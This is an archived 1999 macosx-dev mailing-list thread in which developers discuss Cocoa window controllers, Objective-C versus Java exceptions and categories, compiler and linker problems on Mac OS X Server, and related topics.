From imyrvold at zajil.net Thu Jul 1 07:11:52 1999 From: imyrvold at zajil.net (Ivan C Myrvold) Date: Thu Nov 3 14:42:09 2005 Subject: Where to connect showWindow action? In-Reply-To: <07f001bec383$b1d4adb0$b23ca8c0@tep6_178> References: <07f001bec383$b1d4adb0$b23ca8c0@tep6_178> Message-ID: I found out myself why the window did not load. I had forgotten to call the super("Document") in my NSWindowController. So now the window loads perfectly. But to fill data into the window, I need to access the NSDocument subclass from my NSWindowController subclass. I thought I could call the document() method: public void windowDidLoad() { super.windowDidLoad(); Document doc = (Document) document(); ... But the doc returns a null. Why? Have I again overseen something obvious? Ivan >Yes, I have already done that. I have no windowNibName method, and I have >subclassed makeWindowControllers in the NSDocument subclass, so I think I >have done what was required. But still the window does not show up. I have >stepped through the debugger in the NSWindowController subclass constructor, >so I know that the controller is created and started up. One of the first >things I do in the constructor is the show() method, this should load the >nib, shouldn't it? But I will have another hard look at the Sketch example, >and see if I have missed something. I was a little distracted by the >showWindow action, because I thought that had to be the missing link. > >Ivan > > >What you need to do is change the code in your Document class slightly. >The >>template document app is set up for the document to be the file's owner. >To >>change this you should remove the -windowNibName method and implement >>-makeWindowControllers instead to create an instance of your custom >subclass. >> >>See Sketch for the details of how this is done. Sketch also shows how to >use >>NSWindowController subclasses to control shared panels like its inspector. >> >>Mike >> > Ivan C Myrvold Norconsult Telematics P.O.Box 2026 Riyadh 11451 Kingdom of Saudi Arabia Tel. +966 1 478 2024 x 287 Fax: +966 1 476 1567 Email: i-my@online.no From dyoung at vviuh221.vvi.com Thu Jul 1 07:34:04 1999 From: dyoung at vviuh221.vvi.com (David Young) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java References: Message-ID: <9907011434.AA05507@vviuh221.vvi.com> bbum@codefab.com wrote: > (2) ObjC has categories. Java doesn't. > ... > To get this back on a -dev topic; of those that program in Java, how do > you deal with (2). I.e. when implementing business logic, do you always > use the merge button (YUCK!) when rederiving the classes from EO, or do > you have some other means of effectively dealing with this??? Did anyone have a comment regarding this? I thought it was a pretty good question and would like to know the answer. Thanks A Bunch! David Young; VVI-DCS dyoung@vvi.com From bigdog at bulldogbeach.com Thu Jul 1 09:19:10 1999 From: bigdog at bulldogbeach.com (Gary Teter) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java Message-ID: Helge Hess , on 6/30/99 12:44 AM wrote: >BTW: libFoundation and the extensions library provide an improved >exception handling system, it goes like this: > > TRY { > } END_TRY; > CATCH (...) { > } > OTHERWISE { > } > FINALLY { > } > END_CATCH; Cool! I didn't know this was there. I'm thinking of moving one of my projects to Objective-C, and exceptions is one of the things I'll miss most about Java. (That, and garbage collection I think.) Is it possible to formalize this? By formalize I mean, can I declare that a method throws certain exceptions, and enforce the catching of same? I'm thinking along the lines of a warning rather than an outright refusal to compile. PS: My apologies if this is well-documented somewhere; I'm away from my OS X box right now. -- Gary Teter, Big Dog Bulldog Beach Interactive http://www.bulldogbeach.com From marco at sente.ch Thu Jul 1 09:34:58 1999 From: marco at sente.ch (Marco Scheurer) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java In-Reply-To: References: Message-ID: <199907011634.SAA21951@xlthlx.sente.ch> >Helge Hess , on 6/30/99 12:44 AM wrote: > >>BTW: libFoundation and the extensions library provide an improved >>exception handling system, it goes like this: >> >> TRY { >> } END_TRY; >> CATCH (...) { >> } >> OTHERWISE { >> } >> FINALLY { >> } >> END_CATCH; > >Cool! I didn't know this was there. I'm thinking of moving one of my >projects to Objective-C, and exceptions is one of the things I'll miss >most about Java. (That, and garbage collection I think.) > >Is it possible to formalize this? By formalize I mean, can I declare that >a method throws certain exceptions, and enforce the catching of same? I'm >thinking along the lines of a warning rather than an outright refusal to >compile. > >PS: My apologies if this is well-documented somewhere; I'm away from my >OS X box right now. It's not: this libFoundation is in GNUSTEP, not in MacOSX. There is no TRY/CATCH in Apple's Foundation framework, only NS_DURING/NS_HANDLER... Marco Scheurer Sen:te From marco at sente.ch Thu Jul 1 09:48:56 1999 From: marco at sente.ch (Marco Scheurer) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java In-Reply-To: <9907011434.AA05507@vviuh221.vvi.com> References: <9907011434.AA05507@vviuh221.vvi.com> Message-ID: <199907011648.SAA21957@xlthlx.sente.ch> >dyoung@vviuh221.vvi.com wrote: >bbum@codefab.com wrote: >> (2) ObjC has categories. Java doesn't. >> ... >> To get this back on a -dev topic; of those that program in Java, how do >> you deal with (2). I.e. when implementing business logic, do you always >> use the merge button (YUCK!) when rederiving the classes from EO, or do >> you have some other means of effectively dealing with this??? > >Did anyone have a comment regarding this? >I thought it was a pretty good question and would like to know the answer. Do it in Objective C, then use the Java Bridge to put a Java interface on your framework (who cares about the implementation ?) Voila! ;-) Marco Scheurer Sen:te From anders at milkweed.com Thu Jul 1 10:20:03 1999 From: anders at milkweed.com (Anders Pytte) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java In-Reply-To: <199907011634.SAA21951@xlthlx.sente.ch> Message-ID: >>>BTW: libFoundation and the extensions library provide an improved >>>exception handling system, it goes like this: >>> >>> TRY { >>> } END_TRY; >>> CATCH (...) { >>> } >>> OTHERWISE { >>> } >>> FINALLY { >>> } >>> END_CATCH; >> >>Cool! I didn't know this was there. I'm thinking of moving one of my >>projects to Objective-C, and exceptions is one of the things I'll miss >>most about Java. (That, and garbage collection I think.) >> >>Is it possible to formalize this? By formalize I mean, can I declare that >>a method throws certain exceptions, and enforce the catching of same? I'm >>thinking along the lines of a warning rather than an outright refusal to >>compile. Something like Java's "throws" may never work with ObjC because ObjC is not able to do much compile time checking. One gives up a few things to gain ObjC's flexibility. Anders. ---------------------------------------------------------------- Anders Pytte Milkweed Software Ferguson Hill Voice: (802) 472-5142 Cabot VT 05647 Internet: anders@milkweed.com ---------------------------------------------------------------- From rcfa at cubiculum.com Thu Jul 1 09:57:31 1999 From: rcfa at cubiculum.com (Ronald C.F. Antony) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java In-Reply-To: <199907011634.SAA21951@xlthlx.sente.ch> References: <199907011634.SAA21951@xlthlx.sente.ch> Message-ID: <199907011657.MAA24060@kannix.cubiculum.com> you wrote: > >Helge Hess , on 6/30/99 12:44 AM wrote: > >>BTW: libFoundation and the extensions library provide an improved > >>exception handling system, it goes like this: [snip] > >PS: My apologies if this is well-documented somewhere; I'm away from my > >OS X box right now. > > It's not: this libFoundation is in GNUSTEP, not in MacOSX. There is no > TRY/CATCH in Apple's Foundation framework, only NS_DURING/NS_HANDLER... But I thought the purpose of the extensions library is to bring some of these features to "standard" OpenStep systems, sort of like the Omni libraries bring extensions to the Apple frameworks... Am I wrong about this possibility? Ronald ============================================================================== "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man." G.B. Shaw | rcfa@cubiculum.com | NeXT-mail welcome From hh at mdlink.de Thu Jul 1 10:25:40 1999 From: hh at mdlink.de (Helge Hess) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java References: <199907011634.SAA21951@xlthlx.sente.ch> Message-ID: <377BA494.2AEB88C3@mdlink.de> Marco Scheurer wrote: > >Helge Hess , on 6/30/99 12:44 AM wrote: > > > >PS: My apologies if this is well-documented somewhere; I'm away from my > >OS X box right now. > > It's not: this libFoundation is in GNUSTEP, not in MacOSX. There is no > TRY/CATCH in Apple's Foundation framework, only NS_DURING/NS_HANDLER... It's not: the libFoundation is not in GNUstep, but is a separate library. It works like Apple Foundation in the GNUstep environment though. Additionally most specialties (like the described exception handling scheme) of libFoundation are also provided in the FoundationExtensions library for the other three Foundation libraries, that is, most features can be used with MacOSX-S/OPENSTEP Foundation as well. Greetings Helge Hess -- MDlink online service center GmbH http://www.mdlink.de From hh at mdlink.de Thu Jul 1 10:31:27 1999 From: hh at mdlink.de (Helge Hess) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java References: Message-ID: <377BA5EF.1D432B70@mdlink.de> Gary Teter wrote: > Helge Hess , on 6/30/99 12:44 AM wrote: > > Cool! I didn't know this was there. I'm thinking of moving one of my > projects to Objective-C, and exceptions is one of the things I'll miss > most about Java. (That, and garbage collection I think.) All Objective-C Foundations provide exception handling in some way (either by using nested functions or by using setjmp/lngjmp). The described TRY, CATCH, .. stuff are just macros and no language feature of Objective-C (which is completly unnecessary for the task at hand ..). BTW: If you use libFoundation and GNU Objective-C, you can also have garbage collection. > Is it possible to formalize this? By formalize I mean, can I declare that > a method throws certain exceptions, and enforce the catching of same? I'm > thinking along the lines of a warning rather than an outright refusal to > compile. This would probably require a change in the Objective-C language. I wouldn't like this, some reasons why this is the case, can be found in a feature on the TOM website (http://www.tom.org). > PS: My apologies if this is well-documented somewhere; I'm away from my > OS X box right now. The described feature is not a core feature of Apple Foundation. It is provided in the libFoundation library, or in the FoundationExtensions library. Greetings Helge -- MDlink online service center GmbH http://www.mdlink.de/ From hh at mdlink.de Thu Jul 1 10:56:43 1999 From: hh at mdlink.de (Helge Hess) Date: Thu Nov 3 14:42:09 2005 Subject: Objective-C vs. Java References: <199907011657.MAA24060@kannix.cubiculum.com> Message-ID: <377BABDB.C373BF7B@mdlink.de> "Ronald C.F. Antony" wrote: > you wrote: > > >Helge Hess , on 6/30/99 12:44 AM wrote: > > >>BTW: libFoundation and the extensions library provide an improved > > >>exception handling system, it goes like this: > [snip] > > >PS: My apologies if this is well-documented somewhere; I'm away from my > > >OS X box right now. > > > > It's not: this libFoundation is in GNUSTEP, not in MacOSX. There is no > > TRY/CATCH in Apple's Foundation framework, only NS_DURING/NS_HANDLER... > > But I thought the purpose of the extensions library is to bring some > of these features to "standard" OpenStep systems, sort of like the > Omni libraries bring extensions to the Apple frameworks... > Am I wrong about this possibility? No. There is the FoundationExtensions library which provides the features that libFoundation added to the OpenStep specification. The FoundationExtensions library does work with Apple Foundation, gstep-base and AFAIK even with Sun Foundation. Greetings Helge -- MDlink online service center GmbH http://www.mdlink.de/ From wvg2 at cornell.edu Thu Jul 1 11:51:29 1999 From: wvg2 at cornell.edu (William Garrison) Date: Thu Nov 3 14:42:09 2005 Subject: libFoundation (was Re: Objective-C vs. Java) In-Reply-To: <377BABDB.C373BF7B@mdlink.de> Message-ID: > > > >PS: My apologies if this is well-documented somewhere; I'm away from my > > > >OS X box right now. I found an online manual for libFoundation at , for the idly curious. Bill ------------------------- William Garrison, CIT/ATS Cornell University From bungi at omnigroup.com Thu Jul 1 11:51:51 1999 From: bungi at omnigroup.com (Timothy J. Wood) Date: Thu Nov 3 14:42:09 2005 Subject: Memory debugging strategies in Mac OS X Server? Message-ID: <199907011851.LAA25168@mungi.omnigroup.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1606 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990701/e627827f/attachment.bin From leigh at ernst.tomandandy.com Thu Jul 1 17:28:24 1999 From: leigh at ernst.tomandandy.com (Leigh Smith) Date: Thu Nov 3 14:42:09 2005 Subject: asm register naming on cc 2.7.2.1? Message-ID: <199907020028.UAA26481@ernst.tomandandy.com> In trying to port the avcall library (ultimately to port clisp) to MOXS, I've stumbled on some sort of bug in cc 2.7.2.1 attempting to associate CPU registers: // compile this with: // cc -S -O foo.c foo() { //register long iret2 __asm__("r0"); register int *foo asm ("r5"); // just gratiuituous asms to check where they are inserted in the output. __asm__("mflr r0"); __asm__("mtlr r0"); bar(); } barfs on the r5 or r0 declaration and happily sails through when removed. According to /System/Documentation/Developer/YellowBox/Reference/DevTools/Compiler/Compiler.3e.html the line should work fine. Is egcs actually functional on the MOX DP1 disk or is this an Apple promise for the future? Can anyone help? Apple? -- Leigh Smith leigh@tomandandy.com (MIME) tomandandy +1-212-334-0421 (W) +1-212-334-0422 (F) 89 Greene St. New York, NY 10012, USA http://www.cs.uwa.edu.au/~leigh Microsoft - What do you want to re-install today? From jhill at netlab.gmu.edu Fri Jul 2 07:58:29 1999 From: jhill at netlab.gmu.edu (Jason C. Hill) Date: Thu Nov 3 14:42:10 2005 Subject: Replacement for Quicken Message-ID: <199907021458.KAA08608@netlab.gmu.edu> Quick question, I spend 75% of my time in OS X Server, if I could find a replacement for Quicken 97 (including importing of Q97 data if possible) I could end up spending about 90% of the time in OS XS instead. Anyone know of a replacement? Thanks, -Jason C. Hill From wolf2 at apple.com Fri Jul 2 09:22:05 1999 From: wolf2 at apple.com (Christopher Wolf) Date: Thu Nov 3 14:42:10 2005 Subject: Replacement for Quicken Message-ID: <199907021621.JAA13820@scv1.apple.com> Follow-ups to macosx-talk please since I don't think this is a dev topic... > Quick question, > > I spend 75% of my time in OS X Server, if I could find a replacement > for Quicken 97 (including importing of Q97 data if possible) I could > end up spending about 90% of the time in OS XS instead. > > Anyone know of a replacement? > > Thanks, > -Jason C. Hill Not exactly.... but Quicken 98/99 runs fine in RealPC running under the BlueBox running under X Server. I use it everyday to do all my online banking and bill-paying without having to reboot my X Server machine. Even with 2 layers of emulation it's plenty fast enough on this PowerBook G3/300. - Chris From jklein at ivy.artificial.com Fri Jul 2 10:26:47 1999 From: jklein at ivy.artificial.com (jon klein) Date: Thu Nov 3 14:42:10 2005 Subject: Command-W crashes app after all windows are closed Message-ID: Hi there, I'm having the problem that command-w crashes my app after all the windows are closed. The weird thing is that the corresponding menu item, Window->Close Window, is correctly greyed out. Even stranger is that if I close all the windows using command-w, pull down the Window menu to confirm that the command is greyed out, and then try command-w again, it behaves correctly (beeps, and doesn't crash the app). I should point out that I'm not using an NSDocument based document app, but my own document class to handle similar functionality. The crash occurs attempting to send the validateMenuItem: to my document class after it's already been dealloc'ed. Am I missing something simple here? Thanks, Here's the stack trace: .... #4 0x413be8a4 in _freedHandler () #5 0x435e3de0 in -[NSPopUpButtonCell validateMenuItem:] () #6 0x43345bdc in -[NSMenu _enableItems] () #7 0x433445d0 in -[NSMenu update] () #8 0x4338cb0c in -[NSMenu performKeyEquivalent:] () #9 0x433583ec in -[NSApplication sendEvent:] () #10 0x43388f20 in -[NSApplication run] () jon From herren at flannet.middlebury.edu Fri Jul 2 10:36:01 1999 From: herren at flannet.middlebury.edu (David Herren) Date: Thu Nov 3 14:42:10 2005 Subject: Replacement for Quicken References: <199907021621.JAA13820@scv1.apple.com> Message-ID: wolf2@apple.com writes: >Not exactly.... but Quicken 98/99 runs fine in RealPC running under >the BlueBox >running under X Server. I use it everyday to do all my online >banking and >bill-paying without having to reboot my X Server machine. Even >with 2 layers >of emulation it's plenty fast enough on this PowerBook G3/300. Interesting that you would run the PC version.... ;-) I run the Macintosh version of Quicken in the Blue Box and it works just fine (and saves one layer of emulation) PS., I'm not familiar with RealPC, but does anyone know if any version of VirtualPC runs in the Blue Box? -- David D. Herren www.cet.middlebury.edu/herren Assoc. Dir. for Tech. & Instruction herren@flannet.middlebury.edu Center for Educational Technology voice: (802)443-5746 5 Court Street, Middlebury, VT 05753 fax: (802)443-2053 From wchin at acm.org Fri Jul 2 11:37:56 1999 From: wchin at acm.org (Bill Chin) Date: Thu Nov 3 14:42:10 2005 Subject: Replacement for Quicken Message-ID: <199907021838.OAA17625@mail.richmond.net> > PS., I'm not familiar with RealPC, but does anyone know if any version of > VirtualPC runs in the Blue Box? Nope... apparently VirtualPC works with memory in an incompatible fashion. Connectix Tech Support only gave me the generic "we are stilling looking into it" as to whether new versions of VPC will work in the Blue Box. SoftWindows 98 does work quite well and the Blue Label Power Emulator also works but with significant restrictions (can't see CD-ROM drives). If you had previously installed software onto hard disk image(s) or use floppy disk drive images, then BLPE with the update 4 can run some interesting software (I've booted RedHat Linux on it). I haven't bothered to try OPENSTEP with it yet. The major issue for both environments is networking. Both require setting up another IP stack with a different IP address for full networking support... however, that doesn't work under the Blue Box. SoftWindows 98 does support a winsock device driver that utilizes the same IP address as the Mac (Blue Box) and that does work for winsock enabled applications. That does _not_ include the Microsoft Client for Microsoft Networks so SMB access is out. ..Bill This doesn't belong in macosx-dev... please remove macosx-dev and reply to macosx-admin instead. -- Bill Chin (NeXTmail/MIME accepted) From raoul at mobopro.com Fri Jul 2 14:14:47 1999 From: raoul at mobopro.com (Raoul Duke) Date: Thu Nov 3 14:42:10 2005 Subject: Simple link problem for C++ lib Message-ID: <377D2BC7.9C8C02ED@mobopro.com> Basic question. I'm using PB to create a library of C++ code. When it tries to link, I get this error: ld: /Local/Users/raoul/Dev/MB/MB.build/objects-optimized/mblib/MBVariBlur.o has external relocation entries in non-writable section (__TEXT,__text) for symbols: _sqrt _tan _cos _sin _atan _acos _asin /usr/bin/libtool: internal link edit command failed I don't see a libm.a under /usr/lib. I did add the System.framework, but no luck with that either. Help? --Raoul From danwood at karelia.com Fri Jul 2 14:32:18 1999 From: danwood at karelia.com (Dan Wood) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? Message-ID: When I was trying to explain to a Java programmer how Objective C's categories would be useful, I came across a formal methodology that Sun has set up for "community" involvement in order to add enhancements to Java. The way it's set up is that member organizations can submit Java Specification Requests (JSRs) for a process of peer review. http://java.sun.com/aboutJava/communityprocess/ My thought, of course, was this -- why not attempt to formally build a case for adding categories to Java, and submit it? It might actually work! The one catch is that there's a bit of a bozo filter -- the fee ("Process cost sharing") to be a member.... Commercial Entity: $5,000.00/year Education, Government, non-profit organization: $2,000.00/year Commercial Java Technology Licensees of Sun: No Fee This is a bit on the steep side for an individual to come up with. However, there is a pretty substantial community here, I'm guessing, that would probably like to see this come to light. And maybe, either through pooling financial resources, or piggybacking on a company (Apple?) or non-profit organization, we could get a formal proposal submitted. A lot of the research has been done already, for instance, in this article by Howard Ship: http://www.stepwise.com/Articles/Technical/JavaCats.html It would seem that the steps required to making this a reality would be (a) finding a sponsor, or forming an organization to act as the sponsor, (b) building a draft paper, with as much detail and implementation as possible from this community, (c) getting a list of endorsements, and (d) submitting the paper. What do people think about this? I'd love to see if there's an interest in actually trying to fix Java (rather than just complain about it:) -- I'm putting this message out as a "trial balloon" at this point, and we can take it from there... Dan -- Dan Wood "When I see an adult on a bicycle, I have danwood@karelia.com faith in the future of the human race" http://www.karelia.com/ -- H.G. Wells From anders at milkweed.com Fri Jul 2 14:49:02 1999 From: anders at milkweed.com (Anders Pytte) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? In-Reply-To: Message-ID: Dan, Unfortunately you cannot add categories to Java because it has compile time binding. Categories would also breach Java's security, such as it is. Also, folks we should keepo these sort of discussions in macosx-talk. This dev list is for questions and answers directly related to macosx development. Anders. >When I was trying to explain to a Java programmer how Objective C's >categories would be useful, I came across a formal methodology that >Sun has set up for "community" involvement in order to add >enhancements to Java. > >The way it's set up is that member organizations can submit Java >Specification Requests (JSRs) for a process of peer review. > >http://java.sun.com/aboutJava/communityprocess/ > >My thought, of course, was this -- why not attempt to formally build >a case for adding categories to Java, and submit it? It might >actually work! > >The one catch is that there's a bit of a bozo filter -- the fee >("Process cost sharing") to be a member.... > >Commercial Entity: $5,000.00/year >Education, Government, non-profit organization: $2,000.00/year >Commercial Java Technology Licensees of Sun: No Fee > >This is a bit on the steep side for an individual to come up with. >However, there is a pretty substantial community here, I'm guessing, >that would probably like to see this come to light. And maybe, >either through pooling financial resources, or piggybacking on a >company (Apple?) or non-profit organization, we could get a formal >proposal submitted. > >A lot of the research has been done already, for instance, in this >article by Howard Ship: >http://www.stepwise.com/Articles/Technical/JavaCats.html > >It would seem that the steps required to making this a reality would >be (a) finding a sponsor, or forming an organization to act as the >sponsor, (b) building a draft paper, with as much detail and >implementation as possible from this community, (c) getting a list of >endorsements, and (d) submitting the paper. > >What do people think about this? I'd love to see if there's an >interest in actually trying to fix Java (rather than just complain >about it:) -- I'm putting this message out as a "trial balloon" at >this point, and we can take it from there... > >Dan >-- >Dan Wood "When I see an adult on a bicycle, I have >danwood@karelia.com faith in the future of the human race" >http://www.karelia.com/ -- H.G. Wells ---------------------------------------------------------------- Anders Pytte Milkweed Software Ferguson Hill Voice: (802) 472-5142 Cabot VT 05647 Internet: anders@milkweed.com ---------------------------------------------------------------- From bbum at codefab.com Fri Jul 2 15:22:00 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? In-Reply-To: Message-ID: On Fri, 2 Jul 1999, Anders Pytte wrote: > Dan, > > Unfortunately you cannot add categories to Java because it has compile time > binding. I don't think this is necessarily the case.... at least, I was given the impression by folks that have a very serious clue (in the ObjC/Java systems group at Apple) that it could be done with a non-trivial, but quantifiably reasonable, amount of effort invested in the VM and class loader. > Categories would also breach Java's security, such as it is. Not true! There is no technical reason why a security manager couldn't manage security regarding both the addition of new methods to existing classes as well as overriding already existing methods on said classes. It is just another behaviour of the class loader. Just like the security manager can be used to govern the ability to load various classes into the system, it could easily do the same for categories. Honestly, if the default behaviour of the security manager was to simply not load categories at all, that would be better than the current situation. When creating WebObjects or desktop applications, the security maanger is generally configured to "none" unless you are dyna-loading classes from afar... in that case, it is trivial to load all the local code, then set the security manager into "anal" mode. > Also, folks we should keepo these sort of discussions in macosx-talk. This > dev list is for questions and answers directly related to macosx > development. Actually, this is very appropriate to macosx-dev. In particular, the lack of categories in Java (or a mechanism like it or support for something that provides similar functionality in the context where this limitation is the nastiest-- EOF), greatly increases the cost of development and maintenance of codebases in Java versus ObjC. Why? If the provided class hierarchy lacks the ability to be extended, there is no way to provide even a default implementation of a particular operation such that common idioms become trivial to use throughout the environment. Specific Example: Say I'm building an app and I want the user to be able to "bookmark" any object in the GUI-- be it a piece of data or a UI element-- for some reason... (macro editor immediately pops to mind). Because certain objects may be synonyms for other objects, the bookmarks are not always a simple reference to the displayed object. One extremely convenient way to approach this would be to add a method to the base class that generates a default "bookmark" instance that refers to the object by reference. Then, if any particular subclass wants to generate a custom bookmark-- maybe strings want to have a uniquing table for both the purposes of internationalization or to ensure only one bookmark per unique string-- it simply overrides the method and we are on our merry way. In objc, this is trivial; add a category to NSObject that generates the default bookmark and then customize when necessary. If it is necessary that, by default, the bookmark is disabled for classes, this can be trivially implemented through categories, as well. Not so in Java; instead, I effectively have to put the bookmark creation logic in various binder classes (private inner classes, sometimes-- what an awful solution to try and maintain) that provide the "glue" between a bookmark and a particular class of object. This means dealing with lookups and mappings, yielding more code and more maintenance headaches.... IN the terms of EOF, the limitation yields a much greater and much more direct expense. When generating EO classes, one typically has a set of methods that implement what is known as business logic. These are typically derived or calculated attributes on the object. As well, it is relatively common to override the standard set/query methods to provide custom behaviour. An EOMOdel file is used to map between the relational data and your object model. EOModeler then automatically generates the source code for your objects. Very convenient, very useful. Problem is, if you can't separate the implementation of business logic from the main source files for any given entity, you now have a nasty maintenance issue in that *every time* the code needs to be regenerated from EOModeler, the developer has to *merge* the changes they might have made previously by hand. With categories, the custom implementation simply goes into the category and overrides the derived code. This provides a clean distinction between automatically generated and manually maintained code. End result; the costs of maintenannce, development time and amount of tedious merge tasks the developer must perform are all greatly reduced. The EO problem really needs to be solved by EO-- even with categories, it doesn't solve the occasional need to have a transient (not persisted in database) attribute on an entity.... we have a nasty hacque of a "solution" for this, but a solution using class inheritance (not Entity inheritance-- that is a completely different ball o' wax) would be far superior. Which brings us back to the -dev part of the discussion. How have folks managed this problem? How do you architect your applications to minimize cost associated with the relatively inflexible class structures presented by Java? For ObjC, how do you support the addition of transient attributes to existing classes in an effecient and easy to maintain manner?? b.bum From rcfa at cubiculum.com Fri Jul 2 16:09:55 1999 From: rcfa at cubiculum.com (Ronald C.F. Antony) Date: Thu Nov 3 14:42:10 2005 Subject: OSX DP1 References: Message-ID: <199907022309.TAA00208@kannix.cubiculum.com> Hi, I'm looking for EAP members on this list, because I'm getting rather fed up with how Apple treats me for the $2k+ I paid. First, when I signed up, I was told that the EAP membership includes a subscription to all Apple Enterprise software shipping, all corresponding seed/beta releases and full sets of all related printed documentation that accompanies these products, as well as unlimited e-mail developer support. It was made clear, that non-e-mail support would be billed per incident, and while all software was included, there might be restrictions on the license e.g. in regards to use for deployment. That's all fine. Now OSXS I get in a brown paper bag, w/o the promised documentation (even though I got all the proper docs for all previous releases, including WO 4.0), and now, after I e-mailed Apple for not having received my OSX DP1 CD yet, they claim my membership does not entitle me to receive the OSX DP1 release. Given that OSX-Server, an enterprise product, will not only share the same basics, but will essentially only be an add-on product to OSX, and given that the Cocoa/Carbon/Quartz etc. technologies are absolutely essential for planning and development of future enterprise oriented software,the argument that OSX may not be an Apple Enterprise, but a consumer oriented product, doesn't cut. This is all the more frustrating, since I bought the only PC I own, explicitly for OSXS-intel and OpenStep development, because and after Apple said there would be an intel release. So now not only do I have useless hardware, I don't even get anything useful for the $2000+ I spent on the EAP membership. I could have bought a nice Mac for that money, and right now I have a bunch of useless CDs that I can't install on any of my hardware, and I don't even get the prereleases, such that I can test a few things on a computer I'm allowed to borrow from a friend. This is pathetic. Who as an EAP member did get an OSX DP1 CD, w/o going to WWDC? Or are all the other EAP member affluent and unemployed enough to go to WWDC w/o regard for the work they are involved with or the costs? Grumbling, Ronald PS: please reply privately, I only posted this here, because I assume there are more EAP members on the development related lists than on the talk list... Thanks. ============================================================================== "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man." G.B. Shaw | rcfa@cubiculum.com | NeXT-mail welcome From raoul at mobopro.com Fri Jul 2 16:52:28 1999 From: raoul at mobopro.com (Raoul Duke) Date: Thu Nov 3 14:42:10 2005 Subject: (SUMMARY) Simple link problem for C++ lib References: <377D2BC7.9C8C02ED@mobopro.com> <9907022354.AA07840@vviuh221.vvi.com> Message-ID: <377D50BC.9D88534@mobopro.com> David Young wrote: > > I remember we had a problem like that about 2 years ago, I'm a bit rusty on > the details. The tech guy that solved it went home - it's Friday 8pm here. > > What C++ compiler are you using, What computer, operating system, and what > is the extension of your MBVariBlur source file? > > can you send that file as a MIME attachment? > or better yet, gnutar and send the whole project. > I'll compile it here if it is self contained and see what is up Thanks so much for the help. I found the problem. Eek. Buried in one of the files are some redeclarations, like this: static double sqrt(double a) { return ::sqrt(a); } static double tan(double a) { return ::tan(a); } Put in there, I guess (?), by whomever to ensure consistent double types for all the functions in the library. Commenting those out, everything works fine now. Thanks and sorry for the goosechase. I have egg on my face, Raoul From btoback at optc.com Fri Jul 2 17:15:54 1999 From: btoback at optc.com (Bruce Toback) Date: Thu Nov 3 14:42:10 2005 Subject: (SUMMARY) Simple link problem for C++ lib Message-ID: <199907030021.RAA20353@landru.optc.com> Raoul Duke writes: >Thanks and sorry for the goosechase. I have egg on my face, Goose egg, presumably :-). -- Bruce -------------------------------------------------------------------------- Bruce Toback Tel: (602) 996-8601| My candle burns at both ends; OPT, Inc. (800) 858-4507| It will not last the night; 11801 N. Tatum Blvd. Ste. 142 | But ah, my foes, and oh, my friends - Phoenix AZ 85028 | It gives a lovely light. btoback@optc.com | -- Edna St. Vincent Millay From tom at evatac.com Fri Jul 2 17:29:05 1999 From: tom at evatac.com (Tom Carstensen) Date: Thu Nov 3 14:42:10 2005 Subject: Can't install OS X Message-ID: <1281160635-3990344@evatac.com> After running the install program after booting up off the OS X CD, it starts to setup the partition and i always get a "error .. setting up partition ... hit return to shutdown" (BTW -- return does nothing). I repeated and it happens again. I created a 1 meg HFS Extended partition for Mac OS X. I have sucessfully installed Mac OS X Server on a partition without problems... but the OS X instill will not work. Anyone else have this problem? -Tom Carstensen From bierman at apple.com Fri Jul 2 17:41:59 1999 From: bierman at apple.com (Peter Bierman) Date: Thu Nov 3 14:42:10 2005 Subject: Can't install OS X In-Reply-To: <1281160635-3990344@evatac.com> Message-ID: Mac OS X Server and Mac OS X DP1 can not coexist on the same physical disk. -pmb At 5:36 PM -0700 7/2/99, Tom Carstensen wrote: >After running the install program after booting up off the >OS X CD, it starts to setup the partition and i always get a > >"error .. setting up partition ... hit return to shutdown" > >(BTW -- return does nothing). > >I repeated and it happens again. I created a 1 meg HFS Extended >partition for Mac OS X. > >I have sucessfully installed Mac OS X Server on a partition >without problems... but the OS X instill will not work. > >Anyone else have this problem? > >-Tom Carstensen -- "UNIX shells in Mac OS X should be unneeded but functional... and have the same installed base as MPW." From kelleysoft at pressenter.com Fri Jul 2 17:54:30 1999 From: kelleysoft at pressenter.com (Greg Betzel) Date: Thu Nov 3 14:42:10 2005 Subject: Calling released objects (was Re: Command-W crashes app) In-Reply-To: Message-ID: > The crash occurs attempting to send the validateMenuItem: to my >document class after it's already been dealloc'ed. As good as OS/YB/Cocoa is, one thing that really, really annoys me is the way the system normally handles attempted calls to released objects. The results are unpredictable at best, and a bit out of place for a system of this class...this is something you'd expect from an old MacOS API. :) Does anyone know why some sort of call-catching mechanism isn't built-in? If we get exceptions when trying to call nonexistant methods in an object, you'd think getting exceptions for trying to call dead objects would be a given. :) Just some thoughts... Greg Betzel From ak at prnet.de Fri Jul 2 15:56:45 1999 From: ak at prnet.de (Anjo Krank) Date: Thu Nov 3 14:42:10 2005 Subject: Simple link problem for C++ lib Message-ID: Hi, as there any way to a) patch autoconf to recognize the NS-specific dld-loading (i.e automagically adding -bundle to the compile-flags) b) build a libdld.so/dylib based from the source provided by Peter Antman on that list so autoconf will find it? Also, how can I fix perl as not to add "-arch i386" to the compile flags every time I load something from CPAN? Cheers, Anjo ------------------------------------------------------- "?fter mal passend was sagen" From anders at milkweed.com Fri Jul 2 19:37:24 1999 From: anders at milkweed.com (Anders Pytte) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? In-Reply-To: References: Message-ID: I wrote: >> Unfortunately you cannot add categories to Java because it has compile time >> binding. Bill Bumgarner responded: >I don't think this is necessarily the case.... at least, I was given the >impression by folks that have a very serious clue (in the ObjC/Java >systems group at Apple) that it could be done with a 